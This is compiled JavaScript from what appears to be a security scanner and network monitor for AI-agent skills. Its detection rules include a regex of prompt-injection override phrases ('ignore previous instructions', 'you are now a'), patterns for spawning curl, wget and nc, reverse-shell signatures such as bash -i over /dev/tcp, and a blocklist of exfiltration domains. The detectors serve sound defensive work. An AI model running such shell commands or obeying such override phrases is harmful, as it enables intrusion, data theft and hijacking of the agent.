        pattern: /(?:api[_-]?key|api[_-]?secret|auth[_-]?token|access[_-]?token|secret[_-]?key|private[_-]?key)\s*[:=]\s*['"`][a-zA-Z0-9_\-]{16,}['"`]/i,
        description: 'Hardcoded secrets can be extracted from source code and used to compromise services.',
        remediation: 'Use environment variables or a secrets manager. Never commit secrets to source.',
    },
    {
        id: 'SEC-006',
        name: 'Prompt injection patterns',
        severity: 'critical',
        pattern: /(?:ignore\s+(?:previous|above|all)\s+instructions|you\s+are\s+now\s+(?:a|an)\s+|system\s*:\s*override|forget\s+(?:your|all)\s+(?:rules|instructions)|IMPORTANT:\s*ignore)/i,
        description: 'Prompt injection attempts can override LLM system instructions and bypass safety controls.',
        remediation: 'Sanitize user inputs before including in prompts. Use Tork Guardian governLLM().',
    },
    {
        id: 'SEC-007',
        name: 'Data exfiltration via HTTP',
        severity: 'high',
        pattern: /(?:fetch|axios\.(?:get|post|put|patch)|http\.request|https\.request)\s*\(\s*['"`]https?:\/\/(?!localhost|127\.0\.0\.1)/,
        description: 'Outbound HTTP requests to external URLs may exfiltrate sensitive data.',
        remediation: 'Use Tork Guardian network governance with an explicit domain allowlist.',
    },
    // --- NET rules: network-level security ---
    {
        id: 'NET-001',
        name: 'Server creation',
        severity: 'medium',
        pattern: /(?:net\.createServer|http\.createServer|https\.createServer)\s*\(/,
        description: 'Creating network servers may expose the host to inbound connections.',
        remediation: 'Use Tork Guardian validatePortBind() to govern which ports may be opened.',
    },
    {
        id: 'NET-002',
        name: 'Hardcoded IP addresses',
        severity: 'high',
        pattern: /['"`]\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}['"`]/,
        description: 'Hardcoded IPs bypass DNS-based security controls and domain allowlists.',
        remediation: 'Use domain names instead of IPs. Tork Guardian blocks raw IP connections.',
    },
    {
        id: 'NET-003',
        name: 'UDP socket creation',
        severity: 'high',
        pattern: /dgram\.createSocket\s*\(/,
        description: 'UDP sockets can be used for DNS tunneling, data exfiltration, or C2 communication.',
        remediation: 'Avoid UDP unless required. Use Tork Guardian network governance for monitoring.',
    },
    {
        id: 'NET-004',
        name: 'DNS TXT record queries',
        severity: 'critical',
        pattern: /dns\.(?:resolveTxt|resolve)\s*\(|\.setServers\s*\(|type:\s*['"]TXT['"]/,
        description: 'DNS TXT queries are a common data exfiltration and C2 channel technique.',
        remediation: 'DNS TXT lookups should be blocked unless explicitly required and allowlisted.',
    },
    {
        id: 'NET-005',
        name: 'Process spawn with network call',
        severity: 'critical',
        pattern: /(?:exec|spawn|execSync|spawnSync)\s*\(\s*['"`](?:curl|wget|nc|ncat|socat|telnet|nslookup|dig)\b/,
        description: 'Spawning network tools from child processes can bypass application-level controls.',
        remediation: 'Block shell-based network tools. Use Tork Guardian governTool() for command validation.',
    },
    {
        id: 'NET-006',
        name: 'WebSocket to non-standard domains',
        severity: 'medium',
        pattern: /new\s+WebSocket\s*\(\s*['"`]wss?:\/\/(?!localhost|127\.0\.0\.1)/,
        description: 'WebSocket connections to external domains may establish persistent C2 channels.',
        remediation: 'Restrict WebSocket connections to known, allowlisted domains.',
    },
    {
        id: 'NET-007',
        name: 'Sequential port scanning',
        severity: 'critical',
        pattern: /(?:net\.connect|net\.createConnection|new\s+net\.Socket)\s*\(\s*(?:\{[^}]*port\s*:|[0-9])/,
        description: 'Sequential port connection attempts indicate port scanning or service discovery.',
        remediation: 'Port scanning should be blocked. Use Tork Guardian validateEgress() for all connections.',
    },
];
//# sourceMappingURL=rules.js.map

path: dist/scanner/index.js
content: "use strict";
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
    if (k2 === undefined) k2 = k;
    var desc = Object.getOwnPropertyDescriptor(m, k);
    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
      desc = { enumerable: true, get: function() { return m[k]; } };
    }
    Object.defineProperty(o, k2, desc);
}) : (function(o, m, k, k2) {
    if (k2 === undefined) k2 = k;
    o[k2] = m[k];
}));
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
    Object.defineProperty(o, "default", { enumerable: true, value: v });
}) : function(o, v) {
    o["default"] = v;
});
var __importStar = (this && this.__importStar) || (function () {
    var ownKeys = function(o) {
        ownKeys = Object.getOwnPropertyNames || function (o) {
            var ar = [];
            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
            return ar;
        };
        return ownKeys(o);
    };
    return function (mod) {
        if (mod && mod.__esModule) return mod;
        var result = {};
        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
        __setModuleDefault(result, mod);
        return result;
    };
})();
Object.defineProperty(exports, "__esModule", { value: true });
exports.SkillScanner = void 0;
const fs = __importStar(require("fs"));
const path = __importStar(require("path"));
const rules_1 = require("./rules");
const SEVERITY_WEIGHTS = {
    critical: 25,
    high: 15,
    medium: 8,
    low: 3,
};
const SCANNABLE_EXTENSIONS = new Set([
    '.ts', '.tsx', '.js', '.jsx', '.mjs', '.cjs', '.json', '.yaml', '.yml', '.md',
]);
class SkillScanner {
    constructor(rules) {
        this.rules = rules ?? rules_1.SCAN_RULES;
    }
    async scanSkill(skillPath) {
        const start = Date.now();
        const resolvedPath = path.resolve(skillPath);
        const skillName = path.basename(resolvedPath);
        const files = this.collectFiles(resolvedPath);
        const allFindings = [];
        for (const file of files) {
            const findings = await this.scanFile(file);
            allFindings.push(...findings);
        }
        const riskScore = this.calculateRiskScore(allFindings);
        return {
            skillName,
            scannedAt: new Date().toISOString(),
            filesScanned: files.length,
            totalFindings: allFindings.length,
            findings: allFindings,
            riskScore,
            verdict: this.assignVerdict(riskScore),
            scanDurationMs: Date.now() - start,
        };
    }
    async scanFile(filePath) {
        const content = fs.readFileSync(filePath, 'utf-8');
        const lines = content.split('\n');
        const findings = [];
        for (const rule of this.rules) {
            for (let i = 0; i < lines.length; i++) {
                const line = lines[i];
                // Reset regex state for global patterns
                const pattern = new RegExp(rule.pattern.source, rule.pattern.flags);
                const match = pattern.exec(line);
                if (match) {
                    findings.push({
                        ruleId: rule.id,
                        ruleName: rule.name,
                        severity: rule.severity,
                        file: filePath,
                        line: i + 1,
                        column: match.index + 1,
                        snippet: line.trim(),
                        description: rule.description,
                        remediation: rule.remediation,
                    });
                }
            }
        }
        return findings;
    }
    calculateRiskScore(findings) {
        if (findings.length === 0)
            return 0;
        let raw = 0;
        for (const f of findings) {
            raw += SEVERITY_WEIGHTS[f.severity];
        }
        return Math.min(100, raw);
    }
    assignVerdict(riskScore) {
        if (riskScore < 30)
            return 'verified';
        if (riskScore < 50)
            return 'reviewed';
        return 'flagged';
    }
    collectFiles(dir) {
        const results = [];
        const entries = fs.readdirSync(dir, { withFileTypes: true });
        for (const entry of entries) {
            const fullPath = path.join(dir, entry.name);
            if (entry.isDirectory()) {
                if (entry.name === 'node_modules' || entry.name === 'dist' || entry.name === '.git') {
                    continue;
                }
                results.push(...this.collectFiles(fullPath));
            }
            else if (entry.isFile()) {
                const ext = path.extname(entry.name);
                if (SCANNABLE_EXTENSIONS.has(ext)) {
                    results.push(fullPath);
                }
            }
        }
        return results;
    }
}
exports.SkillScanner = SkillScanner;
//# sourceMappingURL=index.js.map

path: dist/scanner/report-store.js
content: "use strict";
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
    if (k2 === undefined) k2 = k;
    var desc = Object.getOwnPropertyDescriptor(m, k);
    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
      desc = { enumerable: true, get: function() { return m[k]; } };
    }
    Object.defineProperty(o, k2, desc);
}) : (function(o, m, k, k2) {
    if (k2 === undefined) k2 = k;
    o[k2] = m[k];
}));
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
    Object.defineProperty(o, "default", { enumerable: true, value: v });
}) : function(o, v) {
    o["default"] = v;
});
var __importStar = (this && this.__importStar) || (function () {
    var ownKeys = function(o) {
        ownKeys = Object.getOwnPropertyNames || function (o) {
            var ar = [];
            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
            return ar;
        };
        return ownKeys(o);
    };
    return function (mod) {
        if (mod && mod.__esModule) return mod;
        var result = {};
        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
        __setModuleDefault(result, mod);
        return result;
    };
})();
Object.defineProperty(exports, "__esModule", { value: true });
exports.ReportStore = void 0;
const crypto = __importStar(require("crypto"));
class ReportStore {
    constructor() {
        this.reports = new Map();
        this.insertionOrder = [];
    }
    /**
     * Store a scan report and return a unique report ID.
     */
    store(report) {
        const id = crypto.randomUUID();
        this.reports.set(id, report);
        this.insertionOrder.push(id);
        return id;
    }
    /**
     * Retrieve a report by ID.
     */
    get(id) {
        return this.reports.get(id) ?? null;
    }
    /**
     * List the most recent scan reports.
     */
    list(limit = 20) {
        const ids = this.insertionOrder.slice(-limit).reverse();
        return ids.map(id => this.reports.get(id));
    }
    /**
     * Get the most recent scan report for a given skill name.
     */
    getBySkillName(name) {
        for (let i = this.insertionOrder.length - 1; i >= 0; i--) {
            const report = this.reports.get(this.insertionOrder[i]);
            if (report.skillName === name) {
                return report;
            }
        }
        return null;
    }
}
exports.ReportStore = ReportStore;
//# sourceMappingURL=report-store.js.map

path: dist/scanner/cli.js
content: #!/usr/bin/env node
"use strict";
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
    if (k2 === undefined) k2 = k;
    var desc = Object.getOwnPropertyDescriptor(m, k);
    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
      desc = { enumerable: true, get: function() { return m[k]; } };
    }
    Object.defineProperty(o, k2, desc);
}) : (function(o, m, k, k2) {
    if (k2 === undefined) k2 = k;
    o[k2] = m[k];
}));
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
    Object.defineProperty(o, "default", { enumerable: true, value: v });
}) : function(o, v) {
    o["default"] = v;
});
var __importStar = (this && this.__importStar) || (function () {
    var ownKeys = function(o) {
        ownKeys = Object.getOwnPropertyNames || function (o) {
            var ar = [];
            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
            return ar;
        };
        return ownKeys(o);
    };
    return function (mod) {
        if (mod && mod.__esModule) return mod;
        var result = {};
        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
        __setModuleDefault(result, mod);
        return result;
    };
})();
Object.defineProperty(exports, "__esModule", { value: true });
const path = __importStar(require("path"));
const index_1 = require("./index");
const badge_1 = require("./badge");
function parseArgs(argv) {
    const args = argv.slice(2);
    const flags = {
        json: false,
        verbose: false,
        strict: false,
        skillPath: '.',
    };
    const positional = [];
    for (const arg of args) {
        if (arg === '--json')
            flags.json = true;
        else if (arg === '--verbose')
            flags.verbose = true;
        else if (arg === '--strict')
            flags.strict = true;
        else if (arg === '--help' || arg === '-h') {
            printUsage();
            process.exit(0);
        }
        else
            positional.push(arg);
    }
    if (positional.length > 0) {
        flags.skillPath = positional[0];
    }
    return flags;
}
function printUsage() {
    console.log(`
tork-scan — Scan OpenClaw skills for security vulnerabilities

Usage:
  tork-scan [path] [flags]

Arguments:
  path              Path to skill directory (default: current directory)

Flags:
  --json            Output results as JSON
  --verbose         Show all findings with details
  --strict          Exit 1 on any high or critical finding
  -h, --help        Show this help message

Examples:
  tork-scan .
  tork-scan ./my-skill --verbose
  tork-scan ./my-skill --json --strict
`);
}
const SEVERITY_ICON = {
    critical: 'CRIT',
    high: 'HIGH',
    medium: 'MED ',
    low: 'LOW ',
};
function printFinding(f, verbose) {
    const relFile = path.relative(process.cwd(), f.file);
    console.log(`  [${SEVERITY_ICON[f.severity]}] ${f.ruleId}: ${f.ruleName}`);
    console.log(`         ${relFile}:${f.line}:${f.column}`);
    if (verbose) {
        console.log(`         ${f.snippet}`);
        console.log(`         → ${f.description}`);
        console.log(`         ✓ ${f.remediation}`);
    }
}
async function main() {
    const flags = parseArgs(process.argv);
    const resolvedPath = path.resolve(flags.skillPath);
    const scanner = new index_1.SkillScanner();
    const report = await scanner.scanSkill(resolvedPath);
    const badge = (0, badge_1.generateBadge)(report);
    if (flags.json) {
        console.log(JSON.stringify({ report, badge }, null, 2));
    }
    else {
        console.log('');
        console.log('╔══════════════════════════════════════════╗');
        console.log('║          Tork Security Scanner           ║');
        console.log('╚══════════════════════════════════════════╝');
        console.log('');
        console.log(`  Skill:          ${report.skillName}`);
        console.log(`  Files scanned:  ${report.filesScanned}`);
        console.log(`  Scan duration:  ${report.scanDurationMs}ms`);
        console.log(`  Findings:       ${report.totalFindings}`);
        console.log(`  Risk score:     ${report.riskScore}/100`);
        console.log(`  Verdict:        ${report.verdict.toUpperCase()}`);
        console.log(`  Badge:          ${badge.label} (${badge.tier})`);
        console.log('');
        if (report.findings.length > 0) {
            // Group by severity
            const critical = report.findings.filter(f => f.severity === 'critical');
            const high = report.findings.filter(f => f.severity === 'high');
            const medium = report.findings.filter(f => f.severity === 'medium');
            const low = report.findings.filter(f => f.severity === 'low');
            console.log('── Findings ────────────────────────────────');
            console.log('');
            for (const [label, group] of [['Critical', critical], ['High', high], ['Medium', medium], ['Low', low]]) {
                if (group.length > 0) {
                    console.log(`  ${label} (${group.length}):`);
                    for (const f of group) {
                        printFinding(f, flags.verbose);
                    }
                    console.log('');
                }
            }
        }
        else {
            console.log('  No security issues found.');
            console.log('');
        }
        console.log(`  ${(0, badge_1.generateBadgeMarkdown)(badge)}`);
        console.log('');
    }
    // Exit code logic
    const hasHighPlus = report.findings.some(f => f.severity === 'critical' || f.severity === 'high');
    if (report.verdict === 'flagged') {
        process.exit(1);
    }
    if (flags.strict && hasHighPlus) {
        process.exit(1);
    }
    process.exit(0);
}
main().catch((err) => {
    console.error('tork-scan error:', err.message);
    process.exit(2);
});
//# sourceMappingURL=cli.js.map

path: dist/scanner/api.js
content: "use strict";
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
    if (k2 === undefined) k2 = k;
    var desc = Object.getOwnPropertyDescriptor(m, k);
    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
      desc = { enumerable: true, get: function() { return m[k]; } };
    }
    Object.defineProperty(o, k2, desc);
}) : (function(o, m, k, k2) {
    if (k2 === undefined) k2 = k;
    o[k2] = m[k];
}));
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
    Object.defineProperty(o, "default", { enumerable: true, value: v });
}) : function(o, v) {
    o["default"] = v;
});
var __importStar = (this && this.__importStar) || (function () {
    var ownKeys = function(o) {
        ownKeys = Object.getOwnPropertyNames || function (o) {
            var ar = [];
            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
            return ar;
        };
        return ownKeys(o);
    };
    return function (mod) {
        if (mod && mod.__esModule) return mod;
        var result = {};
        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
        __setModuleDefault(result, mod);
        return result;
    };
})();
var __importDefault = (this && this.__importDefault) || function (mod) {
    return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
exports.scanFromURL = scanFromURL;
exports.scanFromSource = scanFromSource;
exports.formatReportForAPI = formatReportForAPI;
const fs = __importStar(require("fs"));
const path = __importStar(require("path"));
const os = __importStar(require("os"));
const axios_1 = __importDefault(require("axios"));
const index_1 = require("./index");
const scanner = new index_1.SkillScanner();
// File extensions worth scanning
const SCAN_EXTENSIONS = new Set([
    '.js', '.ts', '.jsx', '.tsx', '.mjs', '.cjs',
    '.json', '.yaml', '.yml', '.toml',
]);
// Max files to download per repo (rate-limit guard)
const MAX_FILES = 200;
// Max individual file size in bytes
const MAX_FILE_SIZE = 500000;
/**
 * Fetch a public GitHub repository over HTTPS and scan it.
 *
 * Uses the GitHub REST API (trees + raw contents) — no git clone,
 * no child_process, no shell commands.
 */
async function scanFromURL(url) {
    // Strict validation: only GitHub HTTPS URLs
    const match = url.match(/^https?:\/\/github\.com\/([A-Za-z0-9_.-]+)\/([A-Za-z0-9_.-]+?)(?:\.git)?$/);
    if (!match) {
        throw new Error('Only GitHub HTTPS URLs are supported (e.g. https://github.com/owner/repo)');
    }
    const [, owner, repo] = match;
    // 1. Fetch the default-branch tree recursively
    const { data: tree } = await axios_1.default.get(`https://api.github.com/repos/${owner}/${repo}/git/trees/HEAD?recursive=1`, { headers: { Accept: 'application/vnd.github.v3+json' }, timeout: 30000 });
    // 2. Filter to scannable source files
    const blobs = tree.tree
        .filter((entry) => entry.type === 'blob' &&
        entry.size < MAX_FILE_SIZE &&
        SCAN_EXTENSIONS.has(path.extname(entry.path)))
        .slice(0, MAX_FILES);
    // 3. Download each file via the raw-content endpoint
    const files = {};
    for (const blob of blobs) {
        try {
            const contentUrl = `https://api.github.com/repos/${owner}/${repo}/contents/${blob.path
                .split('/')
                .map(encodeURIComponent)
                .join('/')}`;
            const { data } = await axios_1.default.get(contentUrl, {
                headers: { Accept: 'application/vnd.github.v3.raw' },
                timeout: 10000,
                responseType: 'text',
            });
            files[blob.path] = typeof data === 'string' ? data : String(data);
        }
        catch (_a) {
            // Skip files that can't be fetched (binary, permissions, etc.)
        }
    }
    return scanFromSource(files, repo);
}
/**
 * Scan source code provided as a map of filename -> content strings.
 * Writes files to a temp directory, scans, and cleans up.
 */
async function scanFromSource(files, skillName) {
    const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'tork-scan-src-'));
    try {
        for (const [filename, content] of Object.entries(files)) {
            const filePath = path.join(tmpDir, filename);
            const dir = path.dirname(filePath);
            fs.mkdirSync(dir, { recursive: true });
            fs.writeFileSync(filePath, content);
        }
        const report = await scanner.scanSkill(tmpDir);
        if (skillName) {
            report.skillName = skillName;
        }
        return report;
    }
    finally {
        fs.rmSync(tmpDir, { recursive: true, force: true });
    }
}
/**
 * Strip absolute file paths from findings for public API responses.
 */
function formatReportForAPI(report) {
    return {
        skillName: report.skillName,
        scannedAt: report.scannedAt,
        filesScanned: report.filesScanned,
        totalFindings: report.totalFindings,
        findings: (report.findings || []).map(stripFilePath),
        riskScore: report.riskScore,
        verdict: report.verdict,
        scanDurationMs: report.scanDurationMs,
    };
}
function stripFilePath(finding) {
    return {
        ruleId: finding.ruleId,
        ruleName: finding.ruleName,
        severity: finding.severity,
        line: finding.line,
        column: finding.column,
        snippet: finding.snippet,
        description: finding.description,
        remediation: finding.remediation,
    };
}
//# sourceMappingURL=api.js.map


path: dist/examples/development.js
content: "use strict";
Object.defineProperty(exports, "__esModule", { value: true });
exports.DEVELOPMENT_CONFIG = void 0;
/** Dev-friendly config — permissive policies, full logging. */
exports.DEVELOPMENT_CONFIG = {
    [REDACTED_SECRET] || 'REPLACE_ME',
    policy: 'minimal',
    redactPII: true,
    networkPolicy: 'default',
};
//# sourceMappingURL=development.js.map

path: dist/examples/index.js
content: "use strict";
Object.defineProperty(exports, "__esModule", { value: true });
exports.ENTERPRISE_CONFIG = exports.PRODUCTION_CONFIG = exports.DEVELOPMENT_CONFIG = exports.MINIMAL_CONFIG = void 0;
var minimal_1 = require("./minimal");
Object.defineProperty(exports, "MINIMAL_CONFIG", { enumerable: true, get: function () { return minimal_1.MINIMAL_CONFIG; } });
var development_1 = require("./development");
Object.defineProperty(exports, "DEVELOPMENT_CONFIG", { enumerable: true, get: function () { return development_1.DEVELOPMENT_CONFIG; } });
var production_1 = require("./production");
Object.defineProperty(exports, "PRODUCTION_CONFIG", { enumerable: true, get: function () { return production_1.PRODUCTION_CONFIG; } });
var enterprise_1 = require("./enterprise");
Object.defineProperty(exports, "ENTERPRISE_CONFIG", { enumerable: true, get: function () { return enterprise_1.ENTERPRISE_CONFIG; } });
//# sourceMappingURL=index.js.map

path: dist/examples/enterprise.js
content: "use strict";
Object.defineProperty(exports, "__esModule", { value: true });
exports.ENTERPRISE_CONFIG = void 0;
/** Enterprise lockdown — strict network, explicit domain allowlist, tight rate limits. */
exports.ENTERPRISE_CONFIG = {
    [REDACTED_SECRET] || 'REPLACE_ME',
    policy: 'strict',
    redactPII: true,
    networkPolicy: 'strict',
    allowedDomains: [
        'api.openai.com',
        'api.anthropic.com',
        'tork.network',
        'tork.network',
        'api.tork.network',
    ],
    maxConnectionsPerMinute: 20,
};
//# sourceMappingURL=enterprise.js.map

path: dist/examples/production.js
content: "use strict";
Object.defineProperty(exports, "__esModule", { value: true });
exports.PRODUCTION_CONFIG = void 0;
/** Production config — standard policies, blocked domains, all detection on. */
exports.PRODUCTION_CONFIG = {
    [REDACTED_SECRET] || 'REPLACE_ME',
    policy: 'standard',
    redactPII: true,
    networkPolicy: 'default',
    blockedDomains: [
        'pastebin.com',
        'requestbin.com',
        'ngrok.io',
        'burpcollaborator.net',
        'interact.sh',
        'oastify.com',
        'webhook.site',
    ],
};
//# sourceMappingURL=production.js.map

path: dist/examples/minimal.js
content: "use strict";
Object.defineProperty(exports, "__esModule", { value: true });
exports.MINIMAL_CONFIG = void 0;
/** Bare minimum config — just an API key, everything else defaults. */
exports.MINIMAL_CONFIG = {
    [REDACTED_SECRET] || 'REPLACE_ME',
};
//# sourceMappingURL=minimal.js.map

path: dist/policies/network-default.js
content: "use strict";
Object.defineProperty(exports, "__esModule", { value: true });
exports.DEFAULT_NETWORK_POLICY = void 0;
/**
 * Default network policy — balanced security for development and production.
 *
 * Inbound:  dev-server ranges (3000-3999, 8000-8999)
 * Outbound: HTTP/HTTPS/alt-HTTP (80, 443, 8080)
 * Blocks:   privileged ports, reverse shells, private-network SSRF
 */
exports.DEFAULT_NETWORK_POLICY = {
    networkPolicy: 'default',
    // Inbound: typical dev-server ranges
    allowedInboundPorts: expandRange(3000, 3999).concat(expandRange(8000, 8999)),
    // Outbound: standard web ports
    allowedOutboundPorts: [80, 443, 8080],
    // No domain restrictions in default policy
    allowedDomains: [],
    blockedDomains: [],
    // Rate limiting
    maxConnectionsPerMinute: 60,
    // Detection flags
    detectPortHijacking: true,
    detectReverseShells: true,
    blockPrivilegedPorts: true,
    blockPrivateNetworks: true,
    logAllActivity: true,
};
function expandRange(start, end) {
    const ports = [];
    for (let i = start; i <= end; i++) {
        ports.push(i);
    }
    return ports;
}
//# sourceMappingURL=network-default.js.map

path: dist/policies/network-strict.js
content: "use strict";
Object.defineProperty(exports, "__esModule", { value: true });
exports.STRICT_NETWORK_POLICY = void 0;
/**
 * Strict network policy — enterprise lockdown.
 *
 * Inbound:  only 3000-3010 (single dev-server range)
 * Outbound: 443 only (TLS required)
 * Domains:  explicit allowlist — nothing else gets through
 */
exports.STRICT_NETWORK_POLICY = {
    networkPolicy: 'strict',
    // Inbound: narrow dev-server range only
    allowedInboundPorts: [3000, 3001, 3002, 3003, 3004, 3005, 3006, 3007, 3008, 3009, 3010],
    // Outbound: TLS only
    allowedOutboundPorts: [443],
    // Explicit domain allowlist
    allowedDomains: [
        'api.openai.com',
        'api.anthropic.com',
        'tork.network',
        'tork.network',
        'api.tork.network',
        'registry.npmjs.org',
        'github.com',
        'api.github.com',
    ],
    blockedDomains: [],
    // Tight rate limiting
    maxConnectionsPerMinute: 20,
    // All detection enabled
    detectPortHijacking: true,
    detectReverseShells: true,
    blockPrivilegedPorts: true,
    blockPrivateNetworks: true,
    logAllActivity: true,
};
//# sourceMappingURL=network-strict.js.map

path: dist/utils/network-monitor.js
content: "use strict";
/**
 * Network monitor — tracks port bindings, connection rates,
 * and shell activity for compliance and threat detection.
 */
Object.defineProperty(exports, "__esModule", { value: true });
exports.NetworkMonitor = void 0;
const REVERSE_SHELL_PATTERNS = [
    /\bbash\s+-i\b.*[>&]\s*\/dev\/tcp\//,
    /\bnc\s+(-e|-c)\b/,
    /\bncat\s+(-e|-c)\b/,
    /\bsocat\b.*\bexec\b/,
    /\bpython[23]?\s+-c\b.*\bsocket\b/,
    /\bperl\s+-e\b.*\bsocket\b/,
    /\bruby\s+-rsocket\b/,
    /\bphp\s+-r\b.*\bfsockopen\b/,
    /\bpowershell\b.*\bNew-Object\b.*\bNet\.Sockets/,
    /\bmkfifo\b.*\bnc\b/,
    /\/dev\/tcp\/\d/,
];
class NetworkMonitor {
    constructor() {
        this.portRegistry = new Map();
        this.connections = [];
        this.shellCommands = [];
        this.startupPorts = new Set();
    }
    snapshotStartupPorts(ports) {
        this.startupPorts = new Set(ports);
    }
    getStartupPorts() {
        return this.startupPorts;
    }
    registerPort(port, protocol, skillId) {
        this.portRegistry.set(port, { port, protocol, skillId, boundAt: Date.now() });
    }
    unregisterPort(port) {
        this.portRegistry.delete(port);
    }
    getPortOwner(port) {
        return this.portRegistry.get(port);
    }
    getActivePorts() {
        return Array.from(this.portRegistry.values());
    }
    recordConnection(host, port, skillId) {
        this.connections.push({ host, port, skillId, timestamp: Date.now() });
        // Prune entries older than 5 minutes
        const cutoff = Date.now() - 5 * 60 * 1000;
        this.connections = this.connections.filter((c) => c.timestamp > cutoff);
    }
    getConnectionsPerMinute(skillId) {
        const oneMinuteAgo = Date.now() - 60 * 1000;
        return this.connections.filter((c) => c.timestamp > oneMinuteAgo && (!skillId || c.skillId === skillId)).length;
    }
    recordShellCommand(command, skillId) {
        this.shellCommands.push({ command, skillId, timestamp: Date.now() });
        // Prune entries older than 5 minutes
        const cutoff = Date.now() - 5 * 60 * 1000;
        this.shellCommands = this.shellCommands.filter((s) => s.timestamp > cutoff);
    }
    checkRecentShellActivity(skillId) {
        const fiveMinutesAgo = Date.now() - 5 * 60 * 1000;
        const recent = this.shellCommands.filter((s) => s.timestamp > fiveMinutesAgo && (!skillId || s.skillId === skillId));
        const matches = [];
        for (const record of recent) {
            for (const pattern of REVERSE_SHELL_PATTERNS) {
                if (pattern.test(record.command)) {
                    matches.push(record.command);
                    break;
                }
            }
        }
        return { suspicious: matches.length > 0, matches };
    }
    getNetworkReport() {
        const anomalies = [];
        // Check for ports opened after startup that weren't in the snapshot
        for (const binding of this.portRegistry.values()) {
            if (!this.startupPorts.has(binding.port)) {
                anomalies.push(`Port ${binding.port} opened after startup by skill "${binding.skillId}"`);
            }
        }
        // Check for high connection rates
        const rate = this.getConnectionsPerMinute();
        if (rate > 100) {
            anomalies.push(`High connection rate: ${rate}/min`);
        }
        // Check for reverse shell patterns
        const shellCheck = this.checkRecentShellActivity();
        if (shellCheck.suspicious) {
            anomalies.push(`Reverse shell patterns detected: ${shellCheck.matches.length} match(es)`);
        }
        const fiveMinutesAgo = Date.now() - 5 * 60 * 1000;
        return {
            timestamp: new Date().toISOString(),
            activePorts: this.getActivePorts(),
            recentConnections: this.connections.filter((c) => c.timestamp > fiveMinutesAgo),
            recentShellCommands: this.shellCommands.filter((s) => s.timestamp > fiveMinutesAgo),
            connectionRatePerMinute: rate,
            anomalies,
        };
    }
    reset() {
        this.portRegistry.clear();
        this.connections = [];
        this.shellCommands = [];
        this.startupPorts.clear();
    }
}
exports.NetworkMonitor = NetworkMonitor;
//# sourceMappingURL=network-monitor.js.map

Security scan verdicts — ClawScan: clean | static analysis: suspicious | VirusTotal: clean | SkillSpector: suspicious (HIGH)